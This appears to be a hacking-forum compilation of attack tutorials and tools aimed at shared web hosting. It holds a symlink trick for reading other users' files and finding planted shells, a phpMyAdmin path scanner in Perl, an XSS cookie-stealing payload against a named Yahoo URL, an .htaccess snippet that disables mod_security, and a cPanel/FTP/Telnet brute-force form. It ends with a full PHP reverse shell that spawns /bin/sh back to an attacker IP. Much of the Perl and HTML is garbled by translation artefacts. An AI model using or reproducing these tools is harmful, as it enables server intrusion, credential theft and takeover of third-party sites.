Browsing Site Using UserNames

Hi,

Today I am going to show a trick to browse the website using the username. How? Please go through the document to understand how.

Note: This method does not works always but most of the times.

Suppose you find a symlink using your favourite search engine like google. Dont laugh, yes beleive me you can!!!

example:-

http://site.com/sym/home/somename/

Now open http://www.yougetsignal.com and do the ReverseIP. So some websites get listed.

Now try to browse like http://site.com/sym/home/<website>/

If you find the somename matches with the listed websites and you can view the files of that website than this tutorial is not for you, stop reading and leave please. If above is not the case with you, please read on.

Now we are sure that  "somename" is the username and we got to find a way to find the usernames on the server. Well there are different ways to find it, I am going to discuss to how to find usernames using symnlink that you found using google or your favourite search engine.

So go here using your symlink:- http://site.com/sym/etc/group

Wow! you can see the groups, these are infact the usernames. Dont believe me, go search for creating users and groups on linux on google. Now why /etc/group file, because it is viewable and have no rectricted permissions set. 

So you now found the usernames :) cool 'eh!?

Now you can browse the different sites like http://site.com/<username>/public_html.  Remember to add "public_html" or you will get Forbidden message.

The moment you browse the URL, you can view the files of that user mapped to a website. Files of different types, index, configure, db, connection and ofcourse because you found this site in google having a symlink, there  is a possibility that you find shells. Trust me yes there are some "Smart Hackers" who left their shell  as it is to be found by the guys like you:). 

So be careful when you upload the shell, after finishing your dirty work, remove it or chmod it.

Anyway, lets come to the point now. So now you have usernames and now you can browse the different directories of different websites of that users. But how do you relate the usernames with the websites? May be the matching usernames with the matching websites you found earlier using ReverseIP.

But this is not the case for all the users and most of the times not all websites gets listed. So how you going to found the name of the website of that username. Yea I know some of you would say, " we can browse to index.php or some configuration file to find the site name" Yes sometimes you can but am sure not always.So then whats next?

Some of you would say :-

"Shit! man, I can not do a simple task, can't even browse a site!!!!. I know there is a shell, but fuck I don't know the site name. Fuck hacking, am leaving it!!! :("   You see any resemblance? NO? read on :)

Ok here is the trick:-

1. Get the IP of the server, lets say 127.0.0.1

2. Now take any username and tyoe http://127.0.0.1/~username/

Volla! I can see the website now, wow, I am able to browse the site. I got shell, I am in, I r00ted, backd00red!!

                                             G A M E   O V E R

One more thing, sometimes shell is placed here:  http://site.com/<username>/public_html/shell.php.But when you try to browse it using http://site.com/shell.php, you wont find it. That is strange! Try with my trick like this :- http://127.0.0.1/~username/shell.php Voilla!, you got shell!!! :)

                                               

By:-

Mike Waals

Mail: MikeWaals@Gmail.com

PHPmyadmin Finder

PHPmyadmin Finder

Below is the Perl script that will scan for the phpmyadmin path for any server/site:-


Code#

#! / Usr / bin / perl
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>
#
# Title: PHPmyadmin Finder
# Author: Ahmad
# From: Iranian CEH
# Category: Remote
# Web Site: Www.03xa.Ir
#
# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<

    use HTTP :: Request;
    use LWP :: UserAgent;


system ("cls");
system ("title Php My Admin Finder");
print "\ t >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> \ n";
print "\ t << \ n";
print "\ t> Php My Admin Finder> \ n";
print "\ t >> \ n";
print "\ t <12/01/28 <\ n";
print "\ t >> \ n";
print "\ t> CodedBy Ahmad> \ n";
print "\ t >> \ n";
print "\ t> Web Site: Www.03xa.Ir> \ n";
print "\ t << \ n";
print "\ t <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< \ n";
print "\ n \ n";
sleep (1);
    print "\ n \ n";
    print "\ t Enter Site (Exam: http://Www.Site.Ru) \ n";
print "\ n";
    print "\ t Site:";
    $ Host = <STDIN>;
    chomp ($ host);
    if ($ host! ~ / http: \ / \ / /) {$ host = "http:// $ host";};

print "\ n \ n";
print "\ t \ t >>>>>>>>>>> Start Scanning <<<<<<<<<<< \ n";
print "\ n \ n";
@ P = ("/ phpMyAdmin /",
"/ Phpmyadmin /",
"/ PMA /",
"/ Admin /",
"/ Dbadmin /",
"/ Mysql /",
"/ Myadmin /",
"/ Phpmyadmin2 /",
"/ PhpMyAdmin2 /",
"/ PhpMyAdmin-2 /",
"/ Php-my-admin /",
"/ PhpMyAdmin-2.2.3 /",
"/ PhpMyAdmin-2.2.6 /",
"/ PhpMyAdmin-2.5.1 /",
"/ PhpMyAdmin-2.5.4 /",
"/ PhpMyAdmin-2.5.5-rc1 /",
"/ PhpMyAdmin-2.5.5-rc2 /",
"/ PhpMyAdmin-2.5.5 /",
"/ PhpMyAdmin-2.5.5-pl1 /",
"/ PhpMyAdmin-2.5.6-rc1 /",
"/ PhpMyAdmin-2.5.6-rc2 /",
"/ PhpMyAdmin-2.5.6 /",
"/ PhpMyAdmin-2.5.7 /",
"/ PhpMyAdmin-2.5.7-pl1 /",
"/ PhpMyAdmin-2.6.0-alpha /",
"/ PhpMyAdmin-2.6.0-alpha2 /",
"/ PhpMyAdmin-2.6.0-beta1 /",
"/ PhpMyAdmin-2.6.0-beta2 /",
"/ PhpMyAdmin-2.6.0-rc1 /",
"/ PhpMyAdmin-2.6.0-rc2 /",
"/ PhpMyAdmin-2.6.0-rc3 /",
"/ PhpMyAdmin-2.6.0 /",
"/ PhpMyAdmin-2.6.0-pl1 /",
"/ PhpMyAdmin-2.6.0-pl2 /",
"/ PhpMyAdmin-2.6.0-pl3 /",
"/ PhpMyAdmin-2.6.1-rc1 /",
"/ PhpMyAdmin-2.6.1-rc2 /",
"/ PhpMyAdmin-2.6.1 /",
"/ PhpMyAdmin-2.6.1-pl1 /",
"/ PhpMyAdmin-2.6.1-pl2 /",
"/ PhpMyAdmin-2.6.1-pl3 /",
"/ PhpMyAdmin-2.6.2-rc1 /",
"/ PhpMyAdmin-2.6.2-beta1 /",
"/ PhpMyAdmin-2.6.2-rc1 /",
"/ PhpMyAdmin-2.6.2 /",
"/ PhpMyAdmin-2.6.2-pl1 /",
"/ PhpMyAdmin-2.6.3 /",
"/ PhpMyAdmin-2.6.3-rc1 /",
"/ PhpMyAdmin-2.6.3 /",
"/ PhpMyAdmin-2.6.3-pl1 /",
"/ PhpMyAdmin-2.6.4-rc1 /",
"/ PhpMyAdmin-2.6.4-pl1 /",
"/ PhpMyAdmin-2.6.4-pl2 /",
"/ PhpMyAdmin-2.6.4-pl3 /",
"/ PhpMyAdmin-2.6.4-pl4 /",
"/ PhpMyAdmin-2.6.4 /",
"/ PhpMyAdmin-2.7.0-beta1 /",
"/ PhpMyAdmin-2.7.0-rc1 /",
"/ PhpMyAdmin-2.7.0-pl1 /",
"/ PhpMyAdmin-2.7.0-pl2 /",
"/ PhpMyAdmin-2.7.0 /",
"/ PhpMyAdmin-2.8.0-beta1 /",
"/ PhpMyAdmin-2.8.0-rc1 /",
"/ PhpMyAdmin-2.8.0-rc2 /",
"/ PhpMyAdmin-2.8.0 /",
"/ PhpMyAdmin-2.8.0.1 /",
"/ PhpMyAdmin-2.8.0.2 /",
"/ PhpMyAdmin-2.8.0.3 /",
"/ PhpMyAdmin-2.8.0.4 /",
"/ PhpMyAdmin-2.8.1-rc1 /",
"/ PhpMyAdmin-2.8.1 /",
"/ PhpMyAdmin-2.8.2 /",
"/ PhpMyAdmin-3.2.0.1 /",
"/ PhpMyAdmin 2.2.3 /",
"/ PhpMyAdmin 2.2.6 /",
"/ PhpMyAdmin 2.5.1 /",
"/ PhpMyAdmin 2.5.4 /",
"/ PhpMyAdmin 2.5.5 rc1 /",
"/ PhpMyAdmin 2.5.5 rc2 /",
"/ PhpMyAdmin 2.5.5 /",
"/ PhpMyAdmin 2.5.5 pl1 /",
"/ PhpMyAdmin 2.5.6 rc1 /",
"/ PhpMyAdmin 2.5.6 rc2 /",
"/ PhpMyAdmin 2.5.6 /",
"/ PhpMyAdmin 2.5.7 /",
"/ PhpMyAdmin 2.5.7 pl1 /",
"/ PhpMyAdmin 2.6.0 alpha /",
"/ PhpMyAdmin 2.6.0 alpha2 /",
"/ PhpMyAdmin 2.6.0 beta1 /",
"/ PhpMyAdmin 2.6.0 beta2 /",
"/ PhpMyAdmin 2.6.0 rc1 /",
"/ PhpMyAdmin 2.6.0 rc2 /",
"/ PhpMyAdmin 2.6.0 rc3 /",
"/ PhpMyAdmin 2.6.0 /",
"/ PhpMyAdmin 2.6.0 pl1 /",
"/ PhpMyAdmin 2.6.0 pl2 /",
"/ PhpMyAdmin 2.6.0 pl3 /",
"/ PhpMyAdmin 2.6.1 rc1 /",
"/ PhpMyAdmin 2.6.1 rc2 /",
"/ PhpMyAdmin 2.6.1 /",
"/ PhpMyAdmin 2.6.1 pl1 /",
"/ PhpMyAdmin 2.6.1 pl2 /",
"/ PhpMyAdmin 2.6.1 pl3 /",
"/ PhpMyAdmin 2.6.2 rc1 /",
"/ PhpMyAdmin 2.6.2 beta1 /",
"/ PhpMyAdmin 2.6.2 rc1 /",
"/ PhpMyAdmin 2.6.2 /",
"/ PhpMyAdmin 2.6.2 pl1 /",
"/ PhpMyAdmin 2.6.3 /",
"/ PhpMyAdmin 2.6.3 rc1 /",
"/ PhpMyAdmin 2.6.3 /",
"/ PhpMyAdmin 2.6.3 pl1 /",
"/ PhpMyAdmin 2.6.4 rc1 /",
"/ PhpMyAdmin 2.6.4 pl1 /",
"/ PhpMyAdmin 2.6.4 pl2 /",
"/ PhpMyAdmin 2.6.4 pl3 /",
"/ PhpMyAdmin 2.6.4 pl4 /",
"/ PhpMyAdmin 2.6.4 /",
"/ PhpMyAdmin 2.7.0 beta1 /",
"/ PhpMyAdmin 2.7.0 rc1 /",
"/ PhpMyAdmin 2.7.0 pl1 /",
"/ PhpMyAdmin 2.7.0 pl2 /",
"/ PhpMyAdmin 2.7.0 /",
"/ PhpMyAdmin 2.8.0 beta1 /",
"/ PhpMyAdmin 2.8.0 rc1 /",
"/ PhpMyAdmin 2.8.0 rc2 /",
"/ PhpMyAdmin 2.8.0 /",
"/ PhpMyAdmin 2.8.0.1 /",
"/ PhpMyAdmin 2.8.0.2 /",
"/ PhpMyAdmin 2.8.0.3 /",
"/ PhpMyAdmin 2.8.0.4 /",
"/ PhpMyAdmin 2.8.1 rc1 /",
"/ PhpMyAdmin 2.8.1 /",
"/ PhpMyAdmin 2.8.2 /",
"/ PhpMyAdmin 3.2.0.1 /",
"/ PhpMyAdmin *. *. *. * /",
"/ PhpMyAdmin *. * /",
"/ PhpMyAdmin-*. *. * /",
"/ Sqlmanager /",
"/ Mysqlmanager /",
"/ P / m / a /",
"/ PMA2005 /",
"/ Pma2005 /",
"/ Phpmanager /",
"/ Php-myadmin /",
"/ Phpmy-admin /",
"/ Webadmin /",
"/ Sqlweb /",
"/ Websql /",
"/ Webdb /",
"/ Mysqladmin /",
"/ Mysql-admin /",
"/ Admin /",
"/ Login /",
"/ Admin1.php /",
"/ Admin.php /",
"/ Admin.html /",
"/ Admin1.php /",
"/ Admin1.html /",
"/ Login.php /",
"/ Admin / cp.php /",
"/ Cp.php /",
"/ Administrator / index.php /",
"/ Administrator / index.html /",
"/ Administartor /",
"/ Admin.login /",
"/ Administrator / login.php /",
"/ Administrator / login.html /",
"/ PMA /",
"/ Pma /",
"/ Dbadmin /",
"/ Mysql /",
"/ Myadmin /",
"/ Phpmyadmin2 /",
"/ PhpMyAdmin2 /",
"/ PhpMyAdmin-2 /",
"/ Php-my-admin /",
"/ Mya /",

);


foreach $ myadmin (@ p) {

$ Url = $ host. $ Myadmin;
$ Request = HTTP :: Request-> new (GET => $ url);
$ Useragent = LWP :: UserAgent-> new ();

$ Response = $ useragent-> request ($ request);
if ($ response-> is_success) {print "Found: $ url \ n";}
if ($ response-> content = ~ / Access Denied /) {print "Found: $ url => [Error & Access Denied] \ n";}
else {print "NotFound: $ myadmin \ n";}



{


code#

 Yahoo Remote Cookie Hijack Proof Of Concept - 0Day

XSS Vulnerability in Yahoo:-

Code:
http://advision.webevents.yahoo.com/nokiaproductions/forums.php/undefined1"><script>alert(document.cookie)</script>
Good luck

 htaccess to bypass Service Temporarily Unavailable

Today we will see how to bypass the Service Temporarily Unavailable page during symnlink.
1. Create the .htaccess file
2. paste the below code in the .htaccess file
3. upload it and it works!!!!



< Ifmodule mod_security . c > 
    Off Secfilterengine 
    Secfilterscanpost Off 
</ Ifmodule

Cpanel + FTP + Telnet

 (Credits to Indishell Guys)

< html >
< head >
< meta http - equiv = "Content-Language"  content = "en-us" >
</ head >
< title > - == [[  B0X Owned By Indishell  ]] == - </ title >
< body text = "# 00Ff00"  Bgcolor = "# 000,000th"  Vlink = "# 008,000th"  link = "# 008,000"  Alink = "# 008,000"  body background = "Http://Img54.xooimage.com/Files/ F/7/2/Kbk29185-227A592.gif "  >
< div align = "center" >
< form method = "POST"  style = "border: 1px solid # 000 thousandth" >
        < img border = "0th"  src = "http :/ / I43.tinypic.com/Xmo9Om.gif "  width = "426th"  height = "one hundred and sixty-nine" > < table border = "one"  width = "sixty seventh%"  Bordercolorlight = "# 008000th"  Bordercolordark = "# the 003,700th" >
                < tr >
                        < td >
        < p align = "center" > < b > < font color = "# 008,000th"  face = "Comic Sans MS"  size = "two" >
                < span lang = "en-us" > IP server </ span >: </ font > < font face = "Arial" >
        </ font > < font face = "Comic Sans MS"  color = "# Cc0000" >
        < input type = "text"  name = "target"  size = "the 16th"  value = "localhost"  style = "border: 2px solid # 1D1D1D; background-color: # 000 000; color: # 008000; font-family: Comic Sans MS; font-weight: bold; font-size: 13Px " > </ font > </ b > </ p >
        < p align = "center" > < b > < font color = "# the 008 thousandth"  face = "Comic Sans </ font > </ b > </ p >
                        < div align = "center" >
                                < table border = "the 1st"  width = "fifty-seven%"  Bordercolorlight = "# 008000"  Bordercolordark = "the 003,700th #" >
                                        < tr >
                                                < td align = "center" >
                                                                                                < span lang = "en-us" > < font color = "# Ff0000" > < b > User  List </ b > </ font > </ span > </ td >
                                                < td >
                                                < p align = "center" >
                                                                                                < span lang = "en-us" > < font color = "# Ff0000" > < b > Password  List </ b > </ font > </ span > </ td >
                                        </ tr >
                                </ table >                         <

p align = "center" > & nbsp ; < textarea rows = "20th"  name = "users"  cols = "25th"  style = "border: 2px solid # 1D1D1D; background-color: # 000 thousand ; color: # C0C0C0 " > </ textarea > < textarea rows = "the 20th"  name = "passwords"  cols = "the 25th"  style = "border: 2px solid # 1D1D1D; background-color: # 000000; color: # C0C0C0" > </ textarea > < br >
        < br >
                                < font style = "font-weight: 700th"  size = "the second"  face = "Comic Sans MS"  color = "# the 008,000th" >
                                                < span lang = "ar-sa" > Guess options </ span > </ font > < font style = "font-size: 12pt;"  size = "-3"  face = "Verdana" > < span style = "font-size: 9Pt;" > & nbsp ;
                                                < font face = "Comic Sans MS" >
                                                < input name = "Cracktype"  value = "cpanel"  style = "font-weight: the seven hundredth;"  checked type = "radio" > </ font > </ span > </ font > < b > < font size = "the second"  face = "Comic Sans MS" >
                                                Cpanel </ font > < font size = "second"  color = "# Cc0000"  face = "Comic Sans MS" >
                                                </ font > < font size = "the second"  color = "# FFFFFF"  face = "Comic Sans MS" >
                                                ( 2 082 ) </ font > </ b > < font size = "second"  face = "Comic Sans MS" > < b > </ b >
                                                </ font >
                                                < font style = "font-size: 12pt;"  size = "-3"  face = "Verdana" >
                                                < span style = "font-size: 9Pt;" > < font face = " Comic Sans MS " >
                                                < input name = "Cracktype"  value = "Cpanel2"  style = "font-weight: seven hundred;"  type = "radio" > </ font > </ span > </ font > < b > < font size = "the second"  face = "Comic Sans MS" >
                                                Telnet </ font > < font size = "the 2nd"  color = "# Cc0000"  face = "Comic Sans MS" >
                                                </ font > < font size = "2"  color = "# FFFFFF"  face = "Comic Sans MS" >
                                                ( twenty-three ) </ font > </ b > < font size = "the 2nd"  face = "Comic Sans MS" > < b > </ b >
                                                </ font >
                                                < font style = "font-size: 12pt;"  size = "-3"  face = "Verdana" >
                                                < span style = "font-size: 9Pt;" > < font face = "Comic Sans MS" >
                                                < input name = "Cracktype"  value = "ftp"  style = "font-weight: 700th;"  type = "radio" > </ font > </ span > </ font > < font style = "font-weight: seven hundred;"  size = "the second"  face = "Comic Sans MS" >
                                                </ font > < span style = "font-weight: the seven hundredth;" >
                                                < font size = "the second"  face = "Comic Sans MS" > Ftp  </ font >
                                                < font size = "the second"  color = "# FFFFFF"  face = "Comic Sans MS" >
                                                ( 21st ) </ font > </ span >
                                                < br >
                                                < font style = "font-weight: 700"  size = "2nd "  face = "Comic Sans MS"  color = "# 008 000" > < span lang = "ar-sa" > Timeout delay </ span >
                                                < input type = "text"  name = "Connect_Timeout"  style = "border: 2px solid # 1D1D1D; background: black; color: RED "  size = forty-eight value = "the 5th" > </ input >
                                                < br >
                                                < input type = "checkbox"  name = "Bruteforce"  value = "true" > < font style = " font-weight: the seven hundredth "  size = "2"  face = "Comic Sans MS"  color = "# the 008000th" > < span lang = "ar-sa" > Bruteforce </ span > </ input >
                                                < select name = "charset "  style = "border: 2px solid # 1D1D1D; background: black; color: RED" >
                                                 < option value = "all" > All Letters  +  Numbers </ option >
                                                  < option value = "numeric" > Numbers </ option >
                                                 < option value = "letters" > Letters </ option >
                                                 < option value = "symbols" > Symbols </ option >
                                                 < option value = "Lowercase" > Lower Letters </ option >
                                                 < option value = "Uppercase" > Higher Letters < / option >
                                                 < option value = "Lowernumeric" > Lower Letters  +  Numbers </ option >
                                                 < option value = "Uppernumeric" > Upper Letters  +  Numbers </ option >
                                                 < option value = "Lowersymbols" > Lower Letters  +  Symbols </ option >
                                                 < option value = "Uppersymbols" > Upper Letters  +  Symbols </ option >
                                                 < option value = "Letterssymbols" > All Letters  +  Symbols </ option >
                                                 < option value = "Numberssymbols" > Numbers  +  Symbols </ option >
                                                 < option value = "Lowernumericsymbols" > Lower Letters  +  Numbers  +  Symbols </ option >
                                                 < option value = "Uppernumericsymbols" > Upper Letters  +  Numbers  +  Symbols </ option >
                                                 < option value = "Lettersnumericsymbols" > All Letters  +  Numbers  +  Symbols </ option >                                                 </

select >
                                                < br >
                                                < font style = "font-weight: 700"  size = "2nd"  face = "Comic Sans MS"  color = "# 008 thousandth" > < span lang = "ar-sa" > Min Bruteforce Length : </ span > </ font >
                                                < input type = "text"  name = "Min_Length"  style = "border: 2px solid # 1D1D1D; background: black; color: RED"  size = 48th value = "first" > </ input >
                                                < br >
                                                < font style = "font-weight: 700th"  size = "second"  face = "Comic Sans MS"  color = "# 008,000th" > < span lang = "ar-sa" > Max Length Bruteforce : </ span > </ font >
                                                < input type = "text"  name = "Max_Length"  style = "border: 2px solid # 1D1D1D; background: black; color: RED"  size = the forty eighth value = "tenth" > </ input >
                                                </ p >
        < p align = "center" > & nbsp ; & nbsp ; & nbsp ; & nbsp ;
        < input type = "submit"  value = "Go"  name = "submit"  style = "color: # 008 thousandth ; font-weight: bold; border: 1px solid # three hundred and thirty-three thousand three hundred and thirty-three; background-color: # 000000 " > </ p >
                        </ td >
                </ tr >
        </ table >     <

p align = "center" > </ td >
  </ tr >
  </ form > <


p  class = Style2 align = center > < img border = "the 0th"  align = center src = "Http://I.min.us/Icvas6.png"  width = "two hundred and ninetieth"  height = "eighty-six" > </ p >       <

form style = "border: 0px ridge # FFFFFF" >     <




p align = "center" > </ td >
  </ tr > < div align = "center" >                 <

tr > < /

form > <


div align = "center" >
< table

Bordercolorlight = "# the 008,000th"  Bordercolordark = "# 006A00" >
< p align = "left" >
< textarea style = "border: 2px solid # 1D1D1D; background: # 000 thousandth; color: # Ccffff"  method = 'POST'  rows = "twenty-fifth"  name = "S1"  cols = "the twenty-second" > </


textarea >
< table >
< tr >
< form action = ""  method = "POST" >
< input type = "hidden"  value = "true"  name = "Grab_Users1" > </ input >
< input type = submit value = "Usernames Grab from / etc / passwd" > </ input >
</ form >
</ tr >
< br >
< tr >
< form action = ""  method = "POST" >
< input type = "hidden"  value = "true"  name = "Grab_Users2" > </ input >
< input type = submit value = "Usernames Grab from / home /" > </ input >
</ form >
</ tr >
< br >
< tr >
< form action = ""  method = "POST" >
< input type = "hidden"  value = "true"  name = "Grab_Users3" > </ input >
< input type = submit value = "Usernames Grab from / home / II" > </ input >
</ form >
</ tr >
</ form >
</ table >

CMS United SQLI

# CMS United SQL Injection

# CMS United Blind SQL Injection on home.php file

# Site vendor: www.cmsunited.com

# Date: 12/09/2012


# BUG:
http://www.XXXXe.com/home.php?id = [BSQLI]

Reverse PHP Shell Prv8

I am going to share you one of the private reverse PHP shell. You can use those times when you did not receive the back connect successfully. You can encrypt it or use like that, totally depends on you.


<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = 'XXX.XXX.XXX.XXX';  // CHANGE THIS
$port = XX;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);  // Parent exits
}

// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}

// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>